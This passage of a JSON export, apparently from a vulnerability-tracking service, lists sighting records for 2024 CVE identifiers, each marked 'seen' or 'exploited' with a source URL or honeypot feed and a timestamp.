"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-23)", "content": "", "creation_timestamp": "2025-03-23T00:00:00.000000Z"}, {"uuid": "754f9f98-70a6-44da-afd2-f1f99cf2a10c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12916", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114060119642533027", "content": "", "creation_timestamp": "2025-02-24T17:48:26.723860Z"}, {"uuid": "62d3f37e-014c-4c52-848b-71de303075e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-05)", "content": "", "creation_timestamp": "2025-03-05T00:00:00.000000Z"}, {"uuid": "024f67c0-98b6-470f-bb77-532f9216add7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12917", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114060119701091927", "content": "", "creation_timestamp": "2025-02-24T17:48:27.990150Z"}, {"uuid": "2c3053f4-d524-42b8-b6ad-c270945372d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12918", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114060119765999360", "content": "", "creation_timestamp": "2025-02-24T17:48:28.565469Z"}, {"uuid": "f22f5543-ecb7-4dc4-9cf3-c50247bdf6a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-02)", "content": "", "creation_timestamp": "2025-03-02T00:00:00.000000Z"}, {"uuid": "6d57158f-68db-4ac9-a12d-17e4283ab763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "content": "", "creation_timestamp": "2025-03-27T00:00:00.000000Z"}, {"uuid": "610ff991-e379-48e4-950b-55e6cc7c3db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-28)", "content": "", "creation_timestamp": "2025-03-28T00:00:00.000000Z"}, {"uuid": "7011ddd3-6c1c-4b38-92a6-ef096fa33a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-01)", "content": "", "creation_timestamp": "2025-04-01T00:00:00.000000Z"}, {"uuid": "1279eacf-2e95-48b7-811a-327db0ee2e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-02)", "content": "", "creation_timestamp": "2025-04-02T00:00:00.000000Z"}, {"uuid": "ec7047e4-4aef-432d-9be8-797139e5037f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-14)", "content": "", "creation_timestamp": "2025-07-14T00:00:00.000000Z"}, {"uuid": "549d7486-7b47-49a3-81c8-498cd89403f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12169", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-093-01", "content": "", "creation_timestamp": "2025-04-03T10:00:00.000000Z"}, {"uuid": "3d501f4c-9ff4-4f4f-a592-6bfdf3e28842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-03)", "content": "", "creation_timestamp": "2025-04-03T00:00:00.000000Z"}, {"uuid": "426c4025-b200-4de0-ab0d-60b93f18ebdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-04)", "content": "", "creation_timestamp": "2025-04-04T00:00:00.000000Z"}, {"uuid": "a465c88c-f5f1-4bcf-a8bd-b9ff0dae0396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-05)", "content": "", "creation_timestamp": "2025-04-05T00:00:00.000000Z"}, {"uuid": "7e92fd34-20f0-42cc-b957-cf3305318a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-06)", "content": "", "creation_timestamp": "2025-04-06T00:00:00.000000Z"}, {"uuid": "e772615a-6b29-4a8c-bf0c-5bde73e8e202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/ndouglas-cloudsmith/44943d8a7c6ed78006cf65ec5bb79d27", "content": "", "creation_timestamp": "2025-06-10T14:19:59.000000Z"}, {"uuid": "d1d154ae-3955-4fcf-8a07-b2e513614c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12168", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqmusfk3e6a2", "content": "", "creation_timestamp": "2025-06-02T13:28:24.174799Z"}, {"uuid": "fc6b1e9f-c52a-4077-b32e-297483f25c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-18)", "content": "", "creation_timestamp": "2025-05-18T00:00:00.000000Z"}, {"uuid": "7e7981e2-3917-4b62-a274-61992b72c250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-07)", "content": "", "creation_timestamp": "2025-04-07T00:00:00.000000Z"}, {"uuid": "1db49d95-7525-4000-8fa1-6b76b6a61b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmdep7fpg42t", "content": "", "creation_timestamp": "2025-04-08T21:02:09.749731Z"}, {"uuid": "85bba75a-0393-4865-8642-1ec812a1d260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmdftviy6u2c", "content": "", "creation_timestamp": "2025-04-08T21:22:39.505314Z"}, {"uuid": "2177675b-53d2-42c8-9ee9-4f22a1bce3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114304543986310341", "content": "", "creation_timestamp": "2025-04-08T21:48:46.632986Z"}, {"uuid": "0f524b97-6f03-458f-bd9f-cbb43a3cd7a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12915", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lstntpqz5r2q", "content": "", "creation_timestamp": "2025-06-30T16:59:28.387338Z"}, {"uuid": "8fd4a979-83fb-4648-96a1-1a7f2923d96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12556", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lmei3r2j2c2l", "content": "", "creation_timestamp": "2025-04-09T07:35:29.567475Z"}, {"uuid": "59c3902e-d3aa-4302-a7b2-34704b97f234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lmeobwjg6k27", "content": "", "creation_timestamp": "2025-04-09T09:26:22.985612Z"}, {"uuid": "27d4632e-aa2f-43e1-88a7-b925048f780f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-08)", "content": "", "creation_timestamp": "2025-04-08T00:00:00.000000Z"}, {"uuid": "a0cbcbe0-c883-4774-a7bf-7e82881d5bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lmg4abras22i", "content": "", "creation_timestamp": "2025-04-09T23:08:40.224190Z"}, {"uuid": "148f797a-a8ec-4f8c-80ce-0ffbb3ec478d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12168", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114614296629933284", "content": "", "creation_timestamp": "2025-06-02T14:42:56.357248Z"}, {"uuid": "1949b4b5-bbf3-4793-b5f6-5c455201f049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-1231", "type": "seen", "source": "https://bsky.app/profile/intelrob.bsky.social/post/3lmgime6r6s27", "content": "", "creation_timestamp": "2025-04-10T02:50:06.782210Z"}, {"uuid": "2a2ce537-0fad-4e62-bd7c-46b09a709676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lmgnh2xsqs2o", "content": "", "creation_timestamp": "2025-04-10T04:16:41.839959Z"}, {"uuid": "a5ee7f2e-6997-4f97-8803-d1d6bf49ecee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-09)", "content": "", "creation_timestamp": "2025-04-09T00:00:00.000000Z"}, {"uuid": "774f77a2-af0c-431c-9fd2-ae53d5613d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lmidtvqplc2m", "content": "", "creation_timestamp": "2025-04-10T20:30:10.917270Z"}, {"uuid": "44f29ba5-fa1e-450a-95f3-2fec9d32998f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lmj7anyfx52s", "content": "", "creation_timestamp": "2025-04-11T04:40:30.220701Z"}, {"uuid": "ee1ff301-c31c-45b8-9c81-addaeb8b6065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lmjigf7x6s2x", "content": "", "creation_timestamp": "2025-04-11T07:24:47.187388Z"}, {"uuid": "bc02c19c-0058-49ec-925a-6956be8920ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-10)", "content": "", "creation_timestamp": "2025-04-10T00:00:00.000000Z"}, {"uuid": "3cb73653-59be-41b1-9a06-6a0d6a9506da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-11)", "content": "", "creation_timestamp": "2025-04-11T00:00:00.000000Z"}, {"uuid": "6b50e88f-dcee-4497-8ce9-120046f3a316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-12)", "content": "", "creation_timestamp": "2025-04-12T00:00:00.000000Z"}, {"uuid": "ef7d1051-4252-47bf-9b37-1c32b64a2495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-13)", "content": "", "creation_timestamp": "2025-04-13T00:00:00.000000Z"}, {"uuid": "5c9ce54b-9af1-459d-b7d3-dbfffa51bb5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3lpcasmrubt2x", "content": "", "creation_timestamp": "2025-05-16T14:35:23.134376Z"}, {"uuid": "25eba47b-9d49-4385-87f5-eabec583da60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-14)", "content": "", "creation_timestamp": "2025-04-14T00:00:00.000000Z"}, {"uuid": "a5296a20-7234-4d4a-8b1a-0a3c41e4fb36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmuxxzvqyr2t", "content": "", "creation_timestamp": "2025-04-15T21:02:27.785007Z"}, {"uuid": "2a00db09-e391-4f9f-bbea-9c7323d147bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmuxxzxyft2u", "content": "", "creation_timestamp": "2025-04-15T21:02:28.414005Z"}, {"uuid": "78963fba-d36b-41da-b1f7-801ef9dffac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12641", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmuxy22atb2e", "content": "", "creation_timestamp": "2025-04-15T21:02:28.967958Z"}, {"uuid": "b402a133-5fb8-4f44-ba6f-5d8cd156185c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-15)", "content": "", "creation_timestamp": "2025-04-15T00:00:00.000000Z"}, {"uuid": "d4b5e8ea-41f9-4211-a4f9-9bbf8bff39cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-16)", "content": "", "creation_timestamp": "2025-04-16T00:00:00.000000Z"}, {"uuid": "a74121ff-93a4-47ba-96e2-75f37f0fced4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12530", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114354482967202522", "content": "", "creation_timestamp": "2025-04-17T17:28:54.622916Z"}, {"uuid": "97464fda-81b7-4ab2-a43b-5802a86e5c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-17)", "content": "", "creation_timestamp": "2025-04-17T00:00:00.000000Z"}, {"uuid": "5b5ada00-7473-4310-8cb6-05789910c409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lpcwgityxf2c", "content": "", "creation_timestamp": "2025-05-16T21:02:19.778538Z"}, {"uuid": "d098e843-e7f0-46b3-b46a-d869fccd9ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12342", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln4jem2w4m2u", "content": "", "creation_timestamp": "2025-04-18T21:02:14.204746Z"}, {"uuid": "ae677281-eb13-4c80-916c-2ad5f79dde88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12344", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln4jem6ejy2t", "content": "", "creation_timestamp": "2025-04-18T21:02:14.845305Z"}, {"uuid": "6829f598-f9f2-4db6-b53f-c699c6682f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12955", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln4jembf4c2t", "content": "", "creation_timestamp": "2025-04-18T21:02:15.486952Z"}, {"uuid": "6ee08e04-1f05-4780-8702-770d3e122d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-18)", "content": "", "creation_timestamp": "2025-04-18T00:00:00.000000Z"}, {"uuid": "cd8b5aac-2d50-4c65-929b-e61f75e3583b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ln6cgc3cp225", "content": "", "creation_timestamp": "2025-04-19T14:03:14.837496Z"}, {"uuid": "f2e77252-01ae-4845-8cf0-6b1fc4aa5946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12483", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln6ztjr7xy27", "content": "", "creation_timestamp": "2025-04-19T21:02:18.362242Z"}, {"uuid": "0d494cea-16b3-48fb-8ca5-a78ce04d5c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-19)", "content": "", "creation_timestamp": "2025-04-19T00:00:00.000000Z"}, {"uuid": "da177711-7a91-4570-a3e5-b8078ab95251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lpkhhfvp6k2g", "content": "", "creation_timestamp": "2025-05-19T20:55:41.948110Z"}, {"uuid": "94780fa0-375d-4bbc-a3eb-91cbb2ee5d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-20)", "content": "", "creation_timestamp": "2025-04-20T00:00:00.000000Z"}, {"uuid": "4b23035e-ff76-4c57-9ef9-c38a6b10d659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:38.442887Z"}, {"uuid": "a9599df1-b99d-445b-b60d-b6eb60dbf14e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:39.982075Z"}, {"uuid": "2b65a3c3-25c8-498a-a63b-85e798eb65e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.089357Z"}, {"uuid": "0e1fa468-b5d2-46ce-b9b8-0a527ded0314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.701681Z"}, {"uuid": "d947597d-b24d-4a89-a242-7d9d3c866a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.853845Z"}, {"uuid": "8b779c59-f51b-4bd5-93e6-3a98c0096e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.923497Z"}, {"uuid": "61c80d06-ece0-4e5f-8a27-fa9de1f66560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:41.335324Z"}, {"uuid": "5593eb62-2334-4518-ac99-6f8eefb875cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:41.861230Z"}, {"uuid": "2789f0c4-29e2-4ec4-9e4e-152fd399d354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3ltgqoa3tmza2", "content": "", "creation_timestamp": "2025-07-08T07:10:48.465139Z"}, {"uuid": "8d8ed079-cfda-40aa-80f0-88fc7397791e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lndtv7oqmo2c", "content": "", "creation_timestamp": "2025-04-21T18:59:10.982900Z"}, {"uuid": "fc872c47-a09e-49a0-82eb-374e312a3415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-8e663f79-45a3417748370530", "content": "", "creation_timestamp": "2025-04-22T06:11:45.959891Z"}, {"uuid": "b61c2736-d169-4917-a9a0-0147692b8e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-26)", "content": "", "creation_timestamp": "2025-06-26T00:00:00.000000Z"}, {"uuid": "e05a5aee-ca23-46ef-8f4d-f36cbe04793d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-21)", "content": "", "creation_timestamp": "2025-04-21T00:00:00.000000Z"}, {"uuid": "bfd57baa-754e-45e5-81dd-fda28f76eb08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12322", "type": "seen", "source": "https://bsky.app/profile/intelrob.bsky.social/post/3lngk2phpdk2s", "content": "", "creation_timestamp": "2025-04-22T20:41:13.744230Z"}, {"uuid": "876ece76-9fa6-45ea-87c7-99d352043a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1221", "type": "seen", "source": "https://gist.github.com/falconwebsites/099fbf1928b96af4c5e40d257675ebab", "content": "", "creation_timestamp": "2025-05-22T16:51:14.000000Z"}, {"uuid": "90b4fd69-096c-4f84-b4a5-b81fa5bb8464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": 